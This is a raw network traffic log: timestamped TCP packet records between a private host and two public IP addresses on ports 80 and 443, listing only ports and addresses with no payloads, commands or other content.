May 10, 2024 09:20:57.726674080 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.727566957 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.727580070 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.727591038 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.727603912 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.727613926 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.727634907 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.729319096 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.729336023 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.729347944 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.729361057 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.729396105 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.729434013 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.731451035 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.731465101 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.731477976 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.731492996 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.731494904 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.731523037 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.733052015 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.733064890 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.733088017 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.733088970 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.733105898 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.733124971 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.735495090 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.735544920 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.735547066 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.735564947 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.735578060 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.735640049 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.737652063 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.737667084 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.737699986 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.737740040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.737751961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.737766027 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.737777948 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.737778902 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.737795115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.737813950 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.737821102 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.737955093 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.797086000 CEST	443	49770	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.799421072 CEST	49770	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.799458981 CEST	443	49770	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.799825907 CEST	443	49770	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.800374985 CEST	49770	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.800457954 CEST	443	49770	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.801759958 CEST	443	49771	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.803514957 CEST	443	49772	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.808526993 CEST	49772	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.808536053 CEST	443	49772	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.808653116 CEST	49771	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.808691025 CEST	443	49771	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.808892012 CEST	49770	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.809056997 CEST	443	49771	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.809499979 CEST	49771	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.809588909 CEST	443	49771	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.809597969 CEST	443	49772	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.809667110 CEST	49772	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.809917927 CEST	49771	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.810496092 CEST	49772	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.810580969 CEST	443	49772	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.810803890 CEST	49772	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.810810089 CEST	443	49772	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.822700024 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.822776079 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.822788954 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.822801113 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.822818995 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.822832108 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.822844028 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.822876930 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.822922945 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.822936058 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.822947979 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.822959900 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.822978020 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.823000908 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.823009014 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.823014975 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.823041916 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.823050976 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.823062897 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.823076010 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.823097944 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.823787928 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.823801041 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.823812962 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.823824883 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.823837042 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.823841095 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.823863029 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.823894024 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.824362040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.824374914 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.824384928 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.824404001 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.825464010 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.825506926 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.825520992 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.825534105 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.825551033 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.825563908 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.825818062 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.825865030 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.825885057 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.825896978 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.825908899 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.825921059 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.825932026 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.825963020 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.826558113 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.826574087 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.826587915 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.826600075 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.826610088 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.826613903 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.826633930 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.828502893 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.828526974 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.828538895 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.828548908 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.828551054 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.828563929 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.828573942 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.828603029 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.829643011 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.829654932 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.829668045 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.829679012 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.829689980 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.829698086 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.829701900 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.829715014 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.829720974 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.829726934 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.829740047 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.829751015 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.829766989 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.829797029 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.829963923 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.830024004 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.830035925 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.830046892 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.830060959 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.830074072 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.830102921 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.830981970 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.830995083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.831006050 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.831017017 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.831028938 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.831034899 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.831042051 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.831053972 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.831063986 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.831064939 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.831073046 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.831079960 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.831091881 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.831095934 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.831104040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.831115961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.831125021 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.831127882 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.831140995 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.831152916 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.831166983 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.831650019 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.831662893 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.831672907 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.831684113 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.831695080 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.831702948 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.831722021 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.831732035 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.831736088 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.831748962 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.831753969 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.831772089 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.832747936 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.832760096 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.832783937 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.832794905 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.832797050 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.832812071 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.832819939 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.832823992 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.832837105 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.832842112 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.832849026 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.832865953 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.832878113 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.832885027 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.832890034 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.832902908 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.832920074 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.832948923 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.833537102 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.833575964 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.833611012 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.833623886 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.833635092 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.833647013 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.833658934 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.833662033 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.833684921 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.835558891 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.835576057 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.835587978 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.835598946 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.835602045 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.835613012 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.835624933 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.835630894 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.835653067 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.836059093 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.836071014 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.836081982 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.836093903 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.836112022 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.836113930 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.836122990 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.836124897 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.836142063 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.836688042 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.836699963 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.836724043 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.836729050 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.836741924 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.836755037 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.836765051 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.836766958 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.836792946 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.838131905 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.838144064 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.838156939 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.838167906 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.838180065 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.838190079 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.838191032 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.838217020 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.838219881 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.838232040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.838243961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.838255882 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.838278055 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.838593006 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.838604927 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.838617086 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.838630915 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.838634014 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.838644028 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.838655949 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.838680983 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.838706970 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.840265989 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.840279102 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.840291977 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.840305090 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.840317011 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.840318918 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.840328932 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.840344906 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.840385914 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.841258049 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.841269970 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.841281891 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.841294050 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.841305971 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.841310978 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.841319084 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.841336966 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.841360092 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.843502045 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.843724966 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.843744040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.843755960 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.843780994 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.843789101 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.843792915 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.843806982 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.843818903 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.843820095 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.843832016 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.843832970 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.843847036 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.843857050 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.843858004 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.843871117 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.843880892 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.843883991 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.843900919 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.843913078 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.843913078 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.843928099 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.843939066 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.843940973 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.843955994 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.843966007 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.843997002 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.844018936 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.844032049 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.844043016 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.844054937 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.844065905 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.844069004 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.844079018 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.844090939 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.844091892 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.844118118 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.844129086 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.844134092 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.844153881 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.844584942 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.844628096 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.844640017 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.844666958 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.844686985 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.844799995 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.844811916 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.844822884 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.844834089 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.844844103 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.844850063 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.844856977 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.844868898 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.844878912 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.844881058 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.844893932 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.844901085 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.844903946 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.844913006 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.844924927 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.844935894 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.844947100 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.844948053 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.844959021 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.844964981 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.844971895 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.844980955 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.844985962 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.844997883 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.845009089 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.845020056 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.845027924 CEST	49754	80	192.168.2.4	34.68.151.162
